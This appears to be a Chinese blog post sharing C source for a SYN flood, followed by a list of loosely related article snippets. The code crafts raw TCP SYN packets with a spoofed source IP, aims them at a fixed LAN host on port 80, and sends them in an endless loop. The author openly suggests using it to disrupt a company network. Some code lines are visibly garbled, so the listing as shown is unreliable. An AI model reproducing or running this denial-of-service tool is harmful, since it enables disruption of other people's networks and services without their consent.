`
malixxx
  • 浏览: 99073 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

简单的sync(tcp)攻击

阅读更多
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

修改了,加了广播设置.  向写一个线程的,感觉跑起来好像不太对.

#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/tcp.h> //tcp
#include <stdlib.h>
#include <netinet/in.h>
#include <pthread.h>

//发sync包  icmp包

unsigned short ip_sum(unsigned short *addrr2, int len2) {
    register unsigned short *addrr = addrr2;
    register int len = len2;
    register int sum = 0;
    unsigned short answer = 0;

    while (len > 1) {
        sum += *addrr++;
        len -= 2;
    }
    if (len == 1) {
        *(unsigned char *) (&answer) = *(unsigned char *) addrr;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return (answer);
}

//校验和涵数 ip头
unsigned short ipheadsum(unsigned short *packet, int packlen) {
    register unsigned long sum = 0;
    while (packlen > 1) {
        sum += *(packet++);
        packlen -= 2;
    }
    if (packlen > 0)
        sum += *(unsigned char *) packet;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);

    return (unsigned short) ~sum;
}

//校验和涵数 tcp头
unsigned short tcpheadsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
    unsigned short *buf;
    unsigned short res;
    buf = malloc(packlen + 12);
    if (buf == NULL)
        return 0;
    memcpy(buf, iphdr + 12,; //源IP地址和目标IP地址
    *(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
    *(buf + 5) = htons((unsigned short) packlen);
    memcpy(buf + 6, packet, packlen);
    res = ipheadsum(buf, packlen + 12);
    free(buf);
    return res;
}

static char synb[8192];

void sendSync(void) {
    int sock, size, bytes_send;
    struct sockaddr_in sin;

    struct ip *iphead = (struct ip *) synb;
    struct tcphdr *tcphead = (struct tcphdr *) (synb + sizeof(struct ip));

    for (size = 0; size < 8192; size++) {
        synb[size] = 0;
    }
    printf("create socket\r\n");
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr("192.168.0.109"); //被攻击的ip
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
        //IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中,隐藏自己的IP地址
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    const int on = 1;//设定常量,用于打开广播模式
    //设定该接口上的广播模式
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    printf("create iphead\r\n");
    iphead->ip_v = 4;//版本号4 IP4用4
    iphead->ip_hl = 5;//little-endian IP头长度(单位为40位)5位
    iphead->ip_tos = 0x00;//服务类型 一般为0
    iphead->ip_len = sizeof(iphead) + sizeof(tcphead); //数据总长度 (单位为32位)
    iphead->ip_id = 1025;//标识16
    iphead->ip_off = 0;//分段偏移
    iphead->ip_ttl = 201; //生存时间
    iphead->ip_p = IPPROTO_TCP;//传输协议 tcp是6
    iphead->ip_sum = 0;//头校验和
    inet_aton("192.168.0.157", &iphead->ip_src);//假冒的ip  // 源地址 目标地址
    inet_aton("192.168.0.109", &iphead->ip_dst);//被攻击的ip

    printf("create tcphead\r\n");
    tcphead-> source = htons(12345);//假冒的端口            // 源端口
    tcphead-> dest = htons(80);//被攻击的端口                   // 目的端口
    tcphead-> seq = htonl(3 + 64 <<;// 序号
    tcphead-> ack_seq = htons(0);// 确认号 收到的TCP信息的序号+1
    tcphead-> syn = 1;//标志 同步
    tcphead-> urg = 1;//标志 紧急
    tcphead-> window = htons(0x20);//窗口
    tcphead-> urg_ptr = htons(0x20);//紧急指针
    tcphead-> check = ip_sum((short *) synb, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1); //校验和

    iphead->ip_sum = ip_sum((short *) synb, (4 * iphead->ip_len + sizeof(struct tcphdr) + 1) & ~1);
    printf("start send\r\n");

//    int i = 10000;
    while (1) {
        bytes_send = sendto(sock, synb, 4 * iphead->ip_len + sizeof(struct tcphdr), 0, (struct sockaddr *) &sin, sizeof(sin));
//        i--;
//        usleep(1000*10);//秒
    }
    printf("end send\r\n");
}

//#include <syswait.h>
//usleep(n) //n微秒
//Sleep(n)//n毫秒
//sleep(n)//n秒

int main(int argc, char *argv[]) {
    sendSync();
//    pthread_t id1, id2, id3;
//    int ret;
//    ret = pthread_create(&id1, NULL,(void *) sendSync, NULL);
//    if (ret != 0) {
//        printf("Create pthread error!\n");
//    }
//    ret = pthread_create(&id2, NULL,(void *) sendSync, NULL);
//    if (ret != 0) {
//        printf("Create pthread error!\n");
//    }
//    ret = pthread_create(&id3, NULL,(void *) sendSync, NULL);
//    if (ret != 0) {
//        printf("Create pthread error!\n");
//    }
//    pthread_join(id1, NULL);
//    pthread_join(id2, NULL);
//    pthread_join(id3, NULL);
}
//gcc -lpthread -o SendMySync SendMySync.c
分享到:
评论

相关推荐

    linux下发包工具

    tcpreplay -i eth0 --sync-times my_pcap_file.pcap ``` 5. **统计报告**:输出重放统计信息: ```bash tcpreplay -i eth0 --report-only my_pcap_file.pcap ``` ### 应用场景 1. **网络设备测试**:评估...

    反弹shell资源:Rust实现的简单反弹Shell例子

    本资源提供了用Rust编程语言实现的简单反弹Shell的例子。 Rust是一种系统级编程语言,以其内存安全和高性能而著名,它被广泛用于开发网络服务器、操作系统、游戏引擎等。使用Rust来实现反弹Shell,可以确保代码的...

    LINUX调优总结

    1. **TCP SYN cookies**:启用`net.ipv4.tcp_syncookies = 1`以防止SYN洪水攻击,这种攻击可能导致服务器耗尽资源,无法处理新连接。 2. **TCP窗口缩放**:通过设置`net.ipv4.tcp_window_scaling = 1`,允许更大的...

    中职生网络安全 2021年湖南省省赛 赛题解析

    - **Flag**:sync - **查看后台首页文件**:将该文件的第二行的所有字符串提交。 - **Flag**:session_start(); #### 五、数字取证 - **任务描述**: - 任务五:数字取证(100分)。此任务考察参赛选手对...

    GameServer go语言版本.zip

    1. 并发模型:Go语言的goroutine和channel提供了轻量级线程和同步机制,使得处理大量并发连接变得简单高效,非常适合网络游戏中的多玩家实时交互场景。 2. 内存管理:Go语言采用垃圾回收机制,开发者无需手动管理...

    db2在aix5.3和6.1的参数配置.docx

    8. **clean_partial_conns**: 用于防止 SYN 攻击,建议启用该功能(设置为 1),即使 AIX6.1 中的默认值为 0。 9. **extendednetstats**: 这个参数在 AIX6.1 中是受限的,但具体值未给出。如果需要更详细的网络...

    linux整理简单齐全运维手册.docx

    使用`sync`命令同步缓冲区到磁盘,然后通过`echo 3 &gt; /proc/sys/vm/drop_caches`清理页缓存,释放内存资源。这种方法用于应对内存紧张的情况,但应谨慎操作,因为它可能会影响系统性能。 2. **查看服务器信息**: ...

    FreeBSD411新功能及内核配置文件样本

    3. 修复了FreeBSD虚拟内存子系统中的vm_object_madvise(), vm_object_sync(), contigmalloc()函数的BUG。 三、特殊平台硬件支持 添加了pbio(4)驱动,使得直接访问Intel 8255A可编程外围接口在模式0下成为可能。 四...

    VB毕业设计——VB网络多人聊天系统的设计与实现(论文+源代码).zip

    VB提供了一些内置的类,如Socket和TcpClient/TcpListener,用于处理TCP/IP协议的网络通信。开发者需要理解如何创建客户端和服务器端的连接,以及如何通过这些连接发送和接收数据。 3. **多线程**:为了实现聊天功能...

    JUNIPER-(ERX)宽带接入服务器日常维护.doc

    - 系统遭受TCP SYN攻击。使用`SHOW IP TRAFFIC`命令确认,并通过定义访问控制列表(Access Control List, ACL)限制非法TCP连接。 - **定义ACL示例**: ```bash IP Access List admin: permit ip 202.103.219.64 ...

    NFS服务器的搭建[文].pdf

    NFS(Network File System),网络文件系统,是一种基于TCP/IP协议族的协议,用于在不同的操作系统之间实现文件共享。在Linux/UNIX系统中,NFS被广泛应用于跨设备的数据共享,使得多台机器可以像访问本地文件一样...

    RouterOS2.9.6.with.crack及配置动画

    你同样可以通过简易的Windows远程图形软件WinBox管理路由器。Web 配置提供了多数常用的功能上。 主要特征: l 完全一至的用户接口 l 运行时配置和监控 l 支持多个连接访问 l 用户策略配置 l 活动历史记录,undo/redo...

    go_chatserver:Quantum聊天服务器go版本

    例如,合理设置buffer大小、避免内存分配过频、使用sync包中的工具进行同步等,都能提升服务器的性能。 总结,go_chatserver项目展示了Go语言在构建高性能聊天服务器方面的强大能力。通过对goroutines、channels、...

    MySQL常见问题集锦详解-完整版.pdf

    这可能是由于服务器未运行、套接字文件错误或者TCP/IP端口不正确。使用`ps`命令检查mysqld进程是否在运行,并尝试使用不同的连接方式(如指定主机名、端口、套接字文件)连接,以确定问题所在。 4. **Host '...' ...

    Red Hat Linux 安全设置方法

    启用TCPSYN Cookie保护可有效防止SYN Flood攻击。执行以下命令启用该功能: ``` echo 1 &gt; /proc/sys/net/ipv4/tcp_syncookies ``` #### 十三、删除不必要的用户和组 删除默认安装的一些不必要的用户和组,如`adm`...

    go web编程

    - **同步关键字**:`sync` 包中的原子操作和互斥锁。 **2.7 小结** - **基础知识总结**:理解 Go 语言的核心特性,为后续 Web 开发打下坚实的基础。 #### 三、Web 基础 **3.1 Web 工作方式** - **客户端/服务器...

    大厂 Go 工程师面试题集锦.docx

    - **解释**:常见的威胁包括SQL注入、XSS攻击等,防范措施包括参数化查询、输入验证等。 4. **分布式爬虫设计** - **知识点**:掌握分布式爬虫的设计思路及其关键技术。 - **解释**:分布式爬虫通过将爬取任务...

Global site tag (gtag.js) - Google Analytics